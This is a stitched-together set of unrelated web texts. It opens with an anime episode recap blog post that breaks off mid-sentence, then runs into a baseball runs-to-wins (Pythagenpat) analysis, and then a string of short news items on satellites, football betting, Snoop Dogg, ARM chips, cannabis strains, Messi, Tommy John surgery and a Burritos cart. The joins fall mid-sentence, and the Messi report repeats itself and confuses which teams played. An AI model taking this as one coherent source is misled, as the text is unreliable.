Someone must’ve been asleep last season when we learned the value of letting your teammates share your burden so you can all overcome it together.
Tsubasa can’t win this war by shouldering all the burden herself. Like Kanade said, she’ll only snap.
But, watching Hibiki suffer last night must have shaken Tsubasa so badly she regressed into her I Work Alone mentality from last season. It’s not just to spare Hibiki, it’s to spare Tsubasa herself from going through the pain of losing someone she cares about. Never Again.
Snoop Oni says the fusion will either kill Hibiki or reduce her to an inhuman monster, but he also admits that the intimate connection to her Relic is what makes Hibiki such a powerful Symphogear wielder.
I can’t believe Snoop Oni agrees with Tsubasa’s plan.
YOU’RE BOTH GROUNDED, NO BRUCE LEE MOVIES FOR A MONTH
It’s a terrible plan for Tsubasa and Hibiki, heck for all of Section 2. The fact that Snoop Oni can’t see this means Tsubasa wasn’t the only one shaken by Hibiki’s maiming last night.
The anime returns us to present time, with Hibiki, Tsubasa, and Chris at school the next day. Instead of calling Hibiki out on pretending to be cheerful about last night’s trauma, Tsubasa does even worse.
DAMN IT, TSUBASA
WHAT HAPPENED TO ALL THAT EARLIER TEAMWORK AND HOLDING ON TIGHT AND NOT LETTING GO, JACK
This is what I fucking meant last episode about how the villains can only win if they trick the heroes into defeating themselves. Tsubasa is doing the villains’ work for them. She puts on this forced assholery in a twisted attempt to help Hibiki, but all she’s accomplishing is splintering the team apart and making them weaker. Tsubasa even shoves Hibiki backward with her hand for extra viciousness.
Tsubasa didn’t include Chris on the Bad Plan, so Chris has no idea why Tsubasa suddenly whipped out a dickish personality and started beating Hibiki over the head with it. Yeah, lying to both of your teammates about what you’re doing and why you’re doing it can’t possibly end well for anyone, Tsubasa.
Chris comes to Hibiki’s defense and demands Tsubasa explain herself. But Hibiki is so hurt by her idol turning on her like this that Hibiki relapses into her old low self-esteem, and convinces herself Tsubasa is right.
Tsubasa basically tells Hibiki to turn in her badge and her gun, she’s off the Force.
Not if you keep treating Chris this way, you won’t. Tsubasa will probably drive Chris away, too, soon enough.
I’m so frustrated I want to sandpaper my tongue. I can’t believe I was worried Chris would be the one to backslide this season. Tsubasa and Hibiki are the ones backsliding into their Season 1 character struggles. Hibiki into her low sense of self-worth and belief that she’s no use to anyone, and Tsubasa into her method of pushing others away so she can suffer alone to atone for tragedies she’s convinced herself were her own failure.
After such a traumatic experience for everyone last night, it’s no wonder they would regress. Doesn’t make it any less heartbreaking for us viewers to watch.
Chris is, amazingly, the most stable one of the team so far this season.
Uh, apart from that one angry attempt to headshot Maria-Finé. But can you really blame Chris after how she suffered at Finé’s hands last season? I certainly don’t want Chris to succeed in killing Maria, but I’m pleased the anime did acknowledge that Chris would have a deeply personal, volatile reaction to being told Finé was reincarnated.
Tsubasa says Section 2 Intelligence is handling the search for Dr. Ver, so the agency doesn’t need Hibiki for anything. Tsubasa leaves, with Chris trailing after her, practically nipping at Tsubasa’s heels like a baby Tassie devil, still pissed at Tsubasa’s treatment of Hibiki.
Well, that scene was a nice long naked roll down a thorny hill. What can’t go wrong for our team this episode?
Good luck to the poor Section 2 Intelligence agents Tsubasa mentioned, tasked with the impossible mission of finding Dr. Ver. I’m unsure of the exact timeline, but it’s gotta be at least 12 hours since he was last seen fleeing Kadingir.
For all we know, he could be on the other side of the Pacific by now.
ARE YOU SERIOUS
THAT’S KADINGIR IN THE BACKGROUND
HE ONLY WENT LIKE 300 FEET
“SECTION 2 INTELLIGENCE”
For that matter, did no one find the terrorists’ plane, either? It wasn’t even in invisibility mode, it was just parked round the other side of Kadingir in full view. Stellar effort, fellas.
Dr. Ver is having a rough time.
He gets up, looks around, and just happens to spy with his little eye…
I AM READY TO PUT MY ELBOW THROUGH THE GLASS ON THE EMERGENCY EXIT FOR THIS EPISODE
I worry for his humanity. Now that he found the Nephilim’s heart that Hibiki tossed aside – it’s even still pulsing, if weakly – what will he do from here? The Nephilim is a type of Relic. If Hibiki can fuse with hers… then maybe Dr. Ver will attempt fusion with the Nephilim’s remains.
Similar to how Finé used the Staff to fuse herself and her Nehushtan Relic with a bunch of Noise to transform herself into the Red Dragon. And Mom did say earlier that the terrorists have access to Finé’s notes, so… uh-oh. Uh-oh indeed.
Speaking of Mom, we catch back up with her and Maria.
Mom wakes in bed after passing out last night from her bloody coughing fit. Maria watches over her and sings softly for her. The same song Serena used to sing.
Maria must have cleaned Mom up and changed her dress, as all the blood is gone now. Mom looks at Maria and… smiles?
WOW, an actual display of caring for her daughter. So rare! I hope we get more of this.
Listening to Maria sing, Mom starts to wonder if she’s doing the right thing with the whole Frontier plan and with her treatment of Maria, Kirika, and Shirabe.
SACRIFICE A WHITE BULL TO HERA, SING A FUCKING HOSANNAH, LIGHT A CANDLE FOR MADOKAMI…
DO WHATEVER YOU HAVE TO DO, JUST THANK SOME SORT OF COSMIC ENTITY FOR THIS BLESSING
I thought Mom would go to her grave without ever finding redemption. She’s nowhere near redemption yet, but holy crap this is a good start. Actually taking the time to consider if she’s doing the right thing after all, and thinking about what consequences her actions will have on others, especially the young people under her care, means there may be hope for Mom yet!
I was not expecting this turn of events at all. What a spot of sunshine in an otherwise sadistic episode.
Mom sits up and calls Kirika and Shirabe on the communicator. They’re still out searching for Dr. Ver (Jeez, you guys too? How hard is it to find a six foot nerd with a labcoat and a funky cane within a couple-hundred-foot radius?) in a ruined part of the city left over from Finé’s destruction three months ago.
Mom reassures the girls that she feels better, and thanks them for looking for Dr. Ver to help her. Because yeah, this is exactly the kind of person you would entrust your health to:
Maria and the others are shocked by Mom thanking them. I wonder if it’s the first time she thanked them for anything. Even Mom’s voice is gentler than normal, and she’s still smiling.
Mom still has a lot of amends to make. Like apologizing to Cherry Coke and Sprite for hitting them last episode, to start! And she needs to ditch the Let’s Murder People To Save Them mentality. There’s still a long way to go before she grows into a better leader for her organization and a better parent for her daughters. But hey, one small step for Mom, one giant leap for Momkind.
The soda girls end the call, relieved that Mom seems better after her health scare.
Kirika’s stomach growls, and Shirabe smiles at her. Cute, soft music plays while we get a sweet scene between the two of them, easing a little of the tension from this painful episode.
Even though they’re hungry, they decide to keep looking for Dr. Ver to help Mom. They run off together, hand in hand, totally not gay.
Toooootally.
We hop over to Hibiki, on her way home with Miku, TIA-chan, and their other school friends. They went out for food together at Noodle Lady’s place to cheer up Hibiki.
Hamster’s been trying to put a good face on how hurt she is over what Tsubasa said to her earlier and how it reminds her of the emotional abuse she endured in middle school. Hibiki’s friends can see something is bothering her. TIA-chan calls Hibiki out in typical TIA-chan way.
Sweet mercy me, now there’s an idea.
Hibiki as a harem protagonist… Hibiki surrounded by all the other characters completely doting on her, from Miku to TIA-chan to Tsubasa to Chris to Maria to let’s bring Kanade back for this too I mean why not… I’d be down for watching an entire anime about Hibi-harem, I mean can you even imagine…
Sorry, got distracted for a moment.
TIA-chan and her friends gently rebuke Hibiki for being too dense to notice how worried Miku is about her lately. Miku pulls a sheepish look. Even after Miku’s character arc last season of overcoming her problem of Not Speaking Up, it seems she’s still shy about being upfront with Hibiki about how she feels.
A squad of cars zooms past the girls, driven by what look like Section 2 agents. The cars turn a corner out of view at high speed, then the girls hear a crash and see an explosion from the same direction.
Amateurs. Only Tsubasa is allowed to crash vehicles safely.
Hibiki and the others run around the bend to the crash site, and oh hey look who came back to shit on everyone’s waffles.
Section 2 agents: Can’t find Dr. Ver in a 300 foot radius despite intensive search
Also Section 2 agents: Crash right into Dr. Ver on accident while cruising down the street
Dr. Ver carries the Staff in one hand and the Nephilim’s heart in the other. The heart-rock is swaddled in a cloth like he’s about to swallow fake-baby-Zeus or something. Because of this, Hibiki doesn’t recognize it.
He’s even more surprised than she is.
Dr. Ver panics that Hibiki will go Frothing Berserker on him again. He summons more Noise out of the Staff to fight her, because yeah that worked so well for him last night, didn’t it.
Dr. Ver has devolved into such a shrieking, undignified mess, it’s almost laughable.
But he’s still murdering people, which is not laughable.
Hibiki sees the crashed and burnt remains of the cars, and the piles of carbon dust that used to be Section 2 agents, maybe even people Hibiki knew and worked with, before Dr. Ver’s Noise killed them. If that wasn’t enough to piss her off, the Noise he shoots at her is aimed straight at Miku and Hibiki’s friends.
She dashes in to block the oncoming Noise and save her friends.
Holy SHIT
Hibiki has fused so far with her Relic she doesn’t even need to wear her Gear to use its powers!
During the concert fight earlier this season, the anime made a huge deal of warning us that if Tsubasa touched the Noise before activating her Symphogear, she’d be dead. Yet Hibiki slams her fist into that monster without hesitation, only transforming into her Symphogear after the Noise disintegrates, so she can pose dramatically as it crumbles in front of her.
Excuse me, I have some paperwork to fill out.
–
–
This episode was both satisfying and frustrating. Like a candy bar melted to the point that a lot of it sticks to the wrapper instead of ending up in your mouth.
The frustration comes mainly from Hibiki and Tsubasa. Hibiki for losing herself in her doubts and convincing herself that people were right about her, that she’s only a hypocrite who hurts others. And Tsubasa is frustrating because ARGH TSUBASAAAAAAAA.
GO SIT IN A CORNER AND THINK ABOUT WHAT YOU DID
At the close of last episode, I worried that Hibiki losing her arm would isolate her from the rest of the team, as her hands are how she connects to the people she loves. She got the arm back, but ended up isolated from them in other ways.
I know Tsubasa only wants to protect Hibiki, but invalidating Hibiki’s own will and agency to fight is not protecting Hibiki at all, it’s just caging her up. And Tsubasa deliberately used the harshest manner to cut Hibiki off by pretending to be some angry asshole shoving Hibiki around, when in reality Tsubasa is a caring person who just sucks at coping with the trauma that life constantly throws at her.
Her plan to stop Hibiki from fighting didn’t even work. Hibiki uses Gungnir again anyway at the end of the episode.
In the past, Hibiki confessed to Tsubasa that she struggles with self-esteem issues. Yet Tsubasa still chose to throw that in Hibiki’s face.
It was one of the first things these two bonded over, their shared survivor’s guilt over the concert attack that led to Kanade’s and other victims’ deaths, and their shared desire to save others to make up for it.
Tsubasa struggled with the same undeserved self-blame. Like everyone else in this wretched fucking anime.
I hope Kanade and Serena are drinking ale horns together up in whatever Valhalla fallen Symphogear wielders go to, drowning their sorrows as they watch the girls they left behind be self-blaming angst-bunnies over things that aren’t their fault.
Thankfully, the many pains and frustrations of this episode also came with some satisfying moments.
THAT RIGHTEOUS BEAT-DOWN, MAN
Hibiki getting Back In Black was surprising and awesome. And it was darkly satisfying to watch Dr. Ver completely lose his shit over how wild-powerful Hibiki is.
Dr. Ver is completely unhinged by the end of the episode. I’m not sure if that makes him less dangerous or more.
Matching icons for you and your crew.
Even so, killing isn’t the best answer. Look at Mom, she’s starting to reconsider her alignment and be more considerate toward her girls. She didn’t change her mind because Maria beat her up or anything, but because Maria was kind to her and looked after her when she was ill.
Same with Dr. Ver. As much as I want to see our girls make a Blood Eagle out of him, I know that hurting him like he’s hurt everyone else probably won’t turn him into a better person. He thinks his plan to use the Nephilim to save the world will make him a hero, so he needs to realize that the terrible things he’s done to people for that goal are the opposite of heroic.
Another worrying aspect about FISt is that we still don’t know what Mom’s Frontier plan to save the world is. It’s interesting to note that she wasn’t nearly as upset by the Nephilim’s death this episode as Dr. Ver was.
Come to think, a few episodes ago, she went out to do some Frontier “inspections”. We didn’t see what Mom inspected, but we did see her leave the terrorists’ base – and the Nephilim inside it – to carry out the inspections. What was she inspecting outside the base if the Nephilim was already inside the base? Add that to her not being too upset about the Nephilim’s defeat, and it seems that her plan involves much more than just the Nephilim. The mystery continues.
Besides the eventual reveal of Frontier, other troubles lie ahead.
Hibiki continues to use Gungnir, because SOMEONE made the genius decision not to tell Hibiki it’s still corrupting her.
I’m actually not worried about this as much as the other scary stuff in this episode.
I mean, fusion or what-have-you, Hamster grew back her whole fucking arm in four minutes, survived her own Climax Song twice already, and even symbolically came back from the dead last season. What can’t she survive at this point?
Hibiki’s heroism, not just at the end of this episode but in previous episodes as well, shows how mistaken she is to think that she’s not helping others.
She’s so full of doubts that she can’t see the good person she really is. She thinks she’s selfish, but her first instinct is to protect others. If someone told Hibiki this, she’s probably brush it off and claim she only helps others to erase her own survivor’s guilt.
But from the audience perspective, we can see that’s not true.
When Dr. Ver shoots the Noise at them, Hibiki immediately dashes in front of Miku and her friends to shield them.
She didn’t have time to think, or to rationalize it as something like, “Well I deserve to die just like those abusive people used to tell me, so I should take the hit.” Hibiki doesn’t think twice before sacrificing herself to help others.
We could even look at how Hibiki treats Dr. Ver, of all people.
When she held him captive a few episodes ago while watching Tsubasa and Maria fight, there comes a surprise attack from Shirabe, who launches deadly sawblades at Hibiki out of nowhere.
Hibiki is completely unprepared for this attack. But without hesitation, she immediately pushes Dr. Ver away from her, knowing he’d get hit by the blades if he stayed next to her and Chris. Taking the time to push him out of harm’s way means Hibiki loses time to get herself out of the way. In that last shot, she barely pulls her arm back in time to avoid getting it sliced off by the huge pink sawblade. (What vendetta does the anime have against Hibiki’s arms, jeez.)
She could’ve just used his body as a shield. I mean, the fucker was right there. I would have pulled him toward me so the sawblades would be sure to hit him, thereby protecting me. But Hibiki is a good person and takes the riskier route for herself by pushing him away, ensuring his protection but exposing herself to the attack.
Again, all of this happens in a heartbeat, before Hibiki has time to think or rationalize anything. She isn’t doing it out of misplaced guilt or low self-esteem. Protecting people at her own expense, even her enemies, is Hibiki’s natural instinct. She’s a true hero no matter the doubts she’s currently struggling with.
I needed this.
After last episode closing on Hibiki’s vicious maiming, after seeing her bleeding and screaming, after the flashback to the cruelty she suffered in middle school, after her own teammate shoved her aside and called her weak… I needed this ending.
I needed to see Hibiki brave and strong and triumphant. This is the hero we love, all the more so because she emerges from all that above pain still certain of her purpose, to use her Symphogear power to protect others.
For more than just the anime’s sake, I needed to see some kind of victory as this year comes to a close. This will be the last episode post before we enter the new year, so it’s fitting to wrap |
with re-doing the math, specifically for last season's run environment. And in order to do so, I had to learn a little more about expected win percentages, and Pythagenpat.
So how do we find a team's expected winning percentage? We start with the most widely-used formula, unsurprisingly popularized by Bill James. It's the Pythagorean expectation formula. Pythag -- for short -- uses the following formula to determine a team's expected winning percentage:
runs scored ^ 2 / runs scored ^ 2 + runs allowed ^ 2
It's easy, it's simple, and it's not good enough* for what we're trying to do here. See those exponents of two? They're not very exact. By modifying those exponents based on what I understand to be good math (read: math I didn't do and only barely understand), we can do better.
* - Thanks to Bryan Cole and John Choiniere for helping place me on the right path.
Pythagenpat, developed by Patriot and David Smyth, is a refined, improved version of the formula*. Instead of using the exponent of two, it replaces the exponent with one that is more accurate, and also adjusted for the run environment.
* -- Pythagenpat is also not the only formula that does this. There's the Tango Distribution, and others. I picked Pythagenpat because of its wide use and perceived accuracy.
Since the run environment matters to us (it's WHY we're exploring this in the first place), it seems as if it is more responsible to use this formula:
runs scored ^ X / runs scored ^ X + runs allowed ^ X
Okay, cool. That variable X is the Pythagenpat exponent, which we need to figure out before we can go any further. The formula for that is:
runs per game ^.287
Fabulous. We can actually start putting numbers in place of variables now.
In 2013, in all of MLB, 20255 runs were scored during 2431 regular-season games. Doing the math, that gives us an average of 8.332 runs per game. When we take that to the exponent provided, we get our Pythagenpat exponent of 1.837615.
Now we can actually run Pythagenpat for the season, using 1.837615 in place of X.
runs scored ^ 1.837615 / runs scored ^ 1.837615 + runs allowed ^ 1.837615
Looks beautiful, doesn't it?
I start by giving a team the league-average amount of runs scored and runs allowed in 2013. Since we're going by league-averages, these two numbers were the same. After all, the same number of runs were scored and allowed. I mentioned before that 20255 runs were registered during the 2013 season, so that means if that were averaged over all 30 teams, an average team would have scored 674.89 runs and allowed 674.89 runs, and that would (hypothetically) allow them to be a.500 team.
To make sure I'm not taking crazy pills, I plugged those runs scored and runs allowed numbers into our Pythagenpat formula:
(674.89 ^ 1.837615) / ( (674.89 ^ 1.837615) + (674.89 ^ 1.837615) )
Math ensues, and I get a winning percentage of, exactly,.500. When I multiply that winning percentage by 162, the number of games in the regular season, I get 81 wins. Perfect, that's what I was hoping for.
For a sanity check, I also ran Pythagenpat for a 2013 team that had a very, very similar number of runs scored and runs allowed -- the Los Angeles Angels of Anaheim. Their 733 runs scored (above the league average) and 737 runs allowed (again, above the league average) gave me a projected winning percentage of 0.4975, which comes out to a little over 80.5 wins, which rounds up to 81. I feel like my sanity has been checked.
The next step is to examine and see if adding ten runs to the calculation will still shift the needle, so to speak, by one win. So I took my league-average runs scored for my imaginary league-average 2013 team, and I added ten runs. Hypothetically, this should make my team one win better. I used this updated equation.
(684.89 ^ 1.837615) / ( (684.89 ^ 1.837615) + (674.89 ^ 1.837615) )
If the heuristic of 10 runs equaling one win were true, I should get a winning percentage of about.5061 or.5062 out of this formula. But I didn't. I actually got a winning percentage of.5068. And while that doesn't seem like a big difference, when you multiply that by 162 games, you get 82.09 wins instead of, say, just 82 wins.
10 runs doesn't equal one win -- 10 runs equals something closer to 1.1 wins.
My thought process at this point: if 10 runs are too many, let's try nine runs instead. Now we're adding nine runs to the hypothetical team's runs scored, instead of 10.
(683.89 ^ 1.837615) / ( (683.89 ^ 1.837615) + (674.89 ^ 1.837615) )
Doing THAT math gets me a winning percentage of.5061. Multiply that by 162 games and we get, believe it or not, 81.99 wins. Almost exactly one win.
It turns out that, given last year's run environment, nine runs are worth about one win, not ten.
Of course, I never trust my own math, so I went back and re-did the numbers in a couple of different ways*. Instead of adding the runs to runs scored, I added them to the runs allowed. The winning percentage decreased by the same amounts. I subtracted nine from the runs scored instead of adding it, same situation. Lather, rinse, repeat.
* -- All of that gyration might seem a little stupid to those of you with more math confidence / chops than me... of course the numbers should read the same under each of these conditions. Still, I'd rather be careful.
So what now? Does this change everything? Do we tear down the established WAR frameworks and build something new in their place? Do we recognize Mike Trout as even more of a sabermetric darling*? Do we send nasty emails to Sean Forman and David Appelman demanding that the new rules be held up for all to see?
* -- Hah. We all know that's not even possible.
Nope.
When sites like FanGraphs, Baseball-Reference, and Baseball Prospectus convert run values into win values, it doesn't appear as if they're using a simple 10-to-1 runs-to-win conversion, or anything like that. They already know this.
As a follow-on to this part of my research, I looked into how many runs above replacement a small sample of players were worth in 2013, as well as how many wins above replacement these players were worth. Take a look at the rates in the table below:
* - For position players, it's actually VORP + FRAA, as VORP doesn't take into account defense.
It's obvious that these sites are using some form of sliding formula. These rates are not consistent from year to year. These rates are not always consistent between players. The people in charge are obviously doing something to compensate for the changes in the run environment.
In addition, those variances between pitchers? They're probably meant to be a feature, not a bug. As is reported in the FanGraphs Library, the runs-to-wins conversion for pitchers changes based on how good a pitcher is. After all, during games in which, say, Felix Hernandez pitches, runs are at more of a premium. Since he gives up fewer runs, as a rule, it takes fewer runs to get to a win.
In the case of a pitcher like Edinson Volquez or Joe Saunders (in 2013, at least) those guys give up more runs, so it requires more runs to get to that win.
I am still surprised about some of these differences. 9.5 runs/win is actually kind of a big difference from 9.0 runs/win. 9.75 runs/win is even bigger. I'd figure that McCutchen would be the same or even less than Trout, given his league.
So that leads to another question: are these data providers / analysts using the right formula? I wish I could answer that with any degree of confidence, but I really can't right now. I don't know enough. But my (slightly) educated guess is this: we should be using something closer to 9-to-1 as the runs-to-wins conversion right now. FanGraphs' numbers seem more logical to me than Baseball Reference or Baseball Prospectus's numbers. But hey, I'm not a wizard, and judging things just on the way they seem is how Derek Jeter gets Gold Gloves.
Another thought: if it's not being done already, might we want to adjust the calculation -- slightly -- for league?
Here's the run difference between leagues for 2013:
2013 Runs Allowed 2013 Runs Scored American League 10436 10525 National League 9819 9730
So, the National League's run environment looks to be slightly stingier than the American League, which makes logical sense, if for no other reason than the designated hitter. So runs appear to be slightly scarcer in the Senior Circuit. At the same time, with the constant interleague play, I wonder how much of a real difference that is. After all, the NL has a net deficit of runs to the AL.
Regardless, the takeaway for me -- and the takeaway that should be in place for many of the armchair analysts and sabermetricians out there -- is that 10 runs isn't a win. Nine runs is about a win, at least in this current run environment, and that probably could change depending on a few factors.
And the even bigger and better takeaway is, like I've mentioned in previous articles, it doesn't hurt to occasionally (1) reassess what you think you know, (2) try to figure something out for yourself, and (3) when something doesn't seem right, assume there's something else you don't know. Then repeat the process over and over again until your brain hurts and you just go for a run instead.
But for now, whenever I quickly think about how many runs go into a win, I'll think of nine instead of 10. At least, until the environment changes again.
...
All statistics courtesy of FanGraphs and Baseball-Reference.
Bryan Grosnick is the Managing Editor of Beyond the Box Score and a contributor to SB Nation MLB. You can follow him on Twitter at @bgrosnick.O3b Networks yesterday announced that over its first year of commercial operation, the company’s high throughput, low latency satellite network has become the fastest growing in satellite history.
O3b has contracted more capacity in the inaugural year of operation than any other satellite operator with a foothold in Africa, South Central Asia, the Middle East, South East Asia, the Pacific, South America, North America and Europe.
O3b is now providing fiber-like connectivity to Mobile Network Operators (MNOs) to expand 3G and 4G/LTE services to rural populations, ISPs to provide true broadband on isolated island chains, cruise lines to bring guests and crew high-speed broadband and mobile connections, Oil and Gas companies to reduce costs and improve crew welfare and governments to add flexibility to services and gain significant strategic advantage.
O3b’s first year anniversary achievements include:
12 satellites in orbit
Initial constellation capacity of 192 Gbps
40 customers in service
31 countries with live customers
Already, the capacity that O3b has sold is equivalent to nearly 10% of the contracted capacity of the three largest Fixed Satellite Service (FSS) operators combined.
O3b Networks operates a Medium Earth Orbit (MEO) satellite constellation, which at 8000 km, is much closer to the earth than traditional geostationary (GEO) satellites.
The lower altitude greatly reduces latency, decreasing response times and improving voice and video quality as well as enabling an array of cloud services. O3b satellites achieve extremely high throughput, making its satellite service an ideal solution when fiber is impractical or unreliable.In the wake of their second thrashing in a matter of weeks, Tottenham have announced the departure of Andre Villas-Boas. The Betfair market on Next Tottenham Manager is now live and a certain former England manager is making the early running...
"The early Betfair market has former England manager Fabio Capello as [3.65] favorite due, no doubt, to his close links with Tottenham technical director, Franco Baldini. Next up in the market is Swansea manager Michael Laudrup ([6.0]) who has won admirers for winning a trophy for the Swans as well as playing good football."
Daniel Levy is no stranger to sacking a manager so, after their worst home defeat in 16 years, it was no surprise to see Spurs announce the departure of AVB this morning although it was, of course, 'by mutual consent'.
"The club can announce that agreement has been reached with head coach Andre Villas-Boas for the termination of his services," Spurs said, in a statement. "The decision was by mutual consent and in the interests of all parties."
Pressure was on AVB after the 6-0 reverse to Manchester City last month, but Spurs staged a mini-revival with a creditable draw against Manchester United followed by wins over Fulham, Sunderland and Anzhi, in the Europa League.
But the 5-0 mauling by Liverpool on Sunday in front of their own fans was a step too far for Levy and the Spurs board and they have taken action. Whoever takes over will become the 10th manager in 12 years under Levy as chairman.
The early Betfair market has former England manager - and current Russia boss - Fabio Capello as [3.65] favorite due, no doubt, to his close links with Tottenham technical director, Franco Baldini.
Next up in the market is Swansea manager Michael Laudrup ([6.0]) who has won admirers for winning a trophy for the Swans as well as playing good football.
Former Spurs boss Glenn Hoddle is available at [11.5] to make an unlikely return to the Lane, while Tim Sherwood, who is technical co-ordinator (ie works with the young players) at Tottenham, can be backed at [13.5].
In this afternoon's Europa League draw, Tottenham have been paired with Dnipro - managed by former boss Juande Ramos. The north London club can be backed at [8.0] to win the competition.Ever since Snoop Dogg’s contentious departure from Death Row Records in the mid-‘90s, he and co-founder (and then-CEO) of Death Row Suge Knight have been at odds. Now, it seems the two have buried the hatchet.
In a surprising turn of events, Snoop Dogg posted a picture of himself posing with Knight at the AV Club in Los Angeles earlier this week.
The move is unexpected, as the fallout with Death Row lead to songs such as “Pimp Slapp’d,” a diss aimed at Suge on Snoop’s 2002 release Paid Tha Cost To Be Da Boss.
Below is the image, which was posted on Snoop’s Instagram page with the caption, “N d club wit Suge miss those death row days!”
RELATED: Snoop Dogg Explains How Suge Knight Used To Rip Off Hungry ProducersARM, the chip design firm whose processor designs are in almost all of the world’s smartphones, is beefing up its portfolio for the internet of things. The UK-based company has launched a new core called the Cortex-M7, a microcontroller that adds more performance and more abilities when it comes to translating sensor data into digital information. Microcontrollers are used in the embedded market and run lower-level operating systems, while the higher-level A-class of ARM processors are both faster and also can run OSes such as Linux, Android or iOS.
The new core design joins the existing microcontroller designs that range from the smallest, lowest energy cores found in devices like the Misfit Shine to the higher-level microcontrollers found inside cars and home hubs. The Cortex-M7 core is already in semiconductors from STMicroelectronics, Atmel and Freescale and Nandan Nayampally, VP of marketing, application processor systems for ARM, expects the design to do well in both the automotive and industrial settings where real-time information processing at lower power is essential.
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The M-class of cores represents ARM’s next big growth market, according to Nayampally. While its A-class of processors have found homes in smartphones and are moving upmarket into servers and networking gear, there is a huge opportunity and a wider base of licensing customers in the embedded market thanks to the growth in hardware attaching to the internet of things.
ARM only offers 32-bit microcontrollers, and both the M-4 and M-7 designs include a digital signal processor capability allowing them to play sound and interpret analog sensor data. This makes them valuable in audio components and also in sensor hubs. The M-7 offers roughly twice the performance at its current process node, but will offer more with less of a power hit as it’s made on smaller and smaller manufacturing processes.
Again, these aren’t designed to run a cell phone or even a car’s telematics system, but it’s perfect for industrial gateways and certain smart home applications.The only surprise here is that it took this long (a week after his 7-TD performance) for a Colorado dispensary to take one of their strains and toss elder Manning face on it. The Sativa-labelling is apt, but the kindergarten art on the label drawn by a budtender’s son doesn’t preach professionalism.
We’ve inquired as to exactly where you can purchase this Manning Kush, but for now, it remains a mystery (and maybe it was just some kid growers having fun). However, you can find a Manning strain at two dispensaries: Sergeant Green Leaf Wellness in Georgetown,Colorado (which also has an Eli Manning strain) and LAPG in LA. For just 25 bucks:
Unfortunately, it probably won’t give you the ability to manipulate 11 grown men, float a Pigskin down from heaven, or fix your broken neck. It does, however, have the unusual side affect of increasing your saliva count.
The combo of strains is a peculiar one for a quarterback from the dirty south: SFV OG Kush is San Fernando Valley Kush, and Chemdawg is an East Coast strain. They’d be better off going with something indigenous to Mississippi, like “Mexican brick weed.”
On the bright side, its shelf life is much more promising than the Ryan Leaf’s strain, described as “The Worst of both worlds, a downward spiraling, delusional, thought-altering Sativa with a pinch of Meth and Ketamine plus the body twerk of the Indica. Prescribed for: furries, skinheads, and Aaron Hernandezes.Latest on Football: River Plate Fans ‘Spat at’ and Insulted Lionel Messi in Tokyo Airport
credits to: cbssports.com
December 21, 2015 – It was a huge victory for Barcelona as superstar forward Lionel Messi and the rest of the team won over River Plate scoring 3-0 in their favor. However, while majority celebrated for Barca’s triumphant clash against Yokohama, a fan was reported on allegedly spitting on Messi as he made his way to Tokyo Narita Airport. In an interview with Coach Luis Enrique, he failed to see it but have been informed about the said disrespectful act on Messi. “I want to condemn this behaviour that is out of place. They need to be respectful. He's a player who was born in our country, is the best in the world and plays for our national team”, Enrique added.
On the other hand, D’Onofrio, River Plated president was also against the bad act from the desperate fan. In his statement on Fox Sports, he was very disappointed about the incident that happened last Sunday and said I've just read that Messi had problems in the airport with some fan. Messi is the best player of Argentinian football, he's a gentleman... when he scored the goal, he raised his hands apologizing”.
Also check out: credits to: cbssports.comDecember 21, 2015 – It was a huge victory for Barcelona as superstar forward Lionel Messi and the rest of the team won over River Plate scoring 3-0 in their favor. However, while majority celebrated for Barca’s triumphant clash against Yokohama, a fan was reported on allegedly spitting on Messi as he made his way to Tokyo Narita Airport. In an interview with Coach Luis Enrique, he failed to see it but have been informed about the said disrespectful act on Messi. “I want to condemn this behaviour that is out of place. They need to be respectful. He's a player who was born in our country, is the best in the world and plays for our national team”, Enrique added.On the other hand, D’Onofrio, River Plated president was also against the bad act from the desperate fan. In his statement on Fox Sports, he was very disappointed about the incident that happened last Sunday and said I've just read that Messi had problems in the airport with some fan. Messi is the best player of Argentinian football, he's a gentleman... when he scored the goal, he raised his hands apologizing”. Read more Also check out: Dafabet football sports betting today [2015/12/21 Mon] // Sports // Comments(0)Many young pitchers play baseball year-round to satisfy scouts and college recruiters hungry for hard throwers. Doctors regularly cite this as a cause for the spike in the occurrences of Tommy John surgery among amateurs. Anything beyond 80 to 85 miles per hour is considered more than a developing ligament can handle.
Image The Yankees lost Ivan Nova to a torn U.C.L. last month during a game against the Rays. Credit Jeff Zelevansky/Getty Images
“I don’t really care what coaches want to see and what scouts want to see,” Girardi said. “I need to do what I think is best for my son: keep him healthy, keep him doing what he loves.”
The Yankees lost Nova to a torn U.C.L. last month during a game against the Rays. Nova said he did not expect to be so severely injured, and in the clubhouse Tuesday, he wore a bulky brace on his right arm, which he cannot straighten.
Nova said he was discouraged to hear about Fernandez, a pitcher he admires, he said, for his “easy cheese” — baseball lingo for a seemingly effortless fastball. According to the website Fangraphs, which tracks and analyzes baseball statistics, Fernandez’s fastball averages 95.1 m.p.h., sixth among major league starters. Soon, it seems, Fernandez will be part of a group Nova never knew was so big.
“In the past, it was scarier, but right now, it’s like routine, because everybody’s getting it,” Nova said. “It’s really unbelievable. Even here, there’s guys I didn’t know had the surgery, and they told me. So that’s a good thing, because everybody says, ‘You come back stronger.’ ”
Not all pitchers recover so easily. Typically, about one in five never make it back to full strength, and some, like Beachy, Medlen, Johnson and Parker, end up having the operation again.
Image Fernandez was the major league leader in strikeouts when the team placed him on the disabled list Monday night. Credit Denis Poroy/Getty Images
Brian Wilson, a Dodgers reliever, grew up in New Hampshire, where the severe weather limited his pitching opportunities but did not keep him from having two Tommy John operations. Wilson said the modern ethos was to give in to pain, not grind through it. Modern technology can detect problems unknown to previous generations of pitchers.Toronto FC announced on Wednesday they will host English Premier League team Tottenham Hotspur for a friendly at BMO Field on July 23.
The game, part of the transfer agreement between the two clubs for current TFC Designated Player Jermain Defoe in January, will be the first meeting between the teams and is part of a four-year advertising-rights agreement between Spurs and TFC owners Maple Leaf Sports & Entertainment.
“Playing a friendly match against Tottenham is going to be special,” said Defoe in a statement. “I spent the majority of my career there, and have great admiration for the club. I have a lot of friends still playing for Tottenham and I’m really looking forward to seeing them and playing against them this summer in Toronto.”
Defoe was a member of Tottenham from 2004-08 and 2009-14.
In addition to the stop in Toronto, Spurs will also visit the US during their preseason tour in the summer, stopping in Seattle to play the Sounders on July 19, and Chicago to face the Fire on July 26.Just one week after Kooks Burritos in Portland, Ore., was featured in a profile for local publication Willamette Week, the pop-up Mexican food cart has closed down amid accusations that they ripped off their recipes.
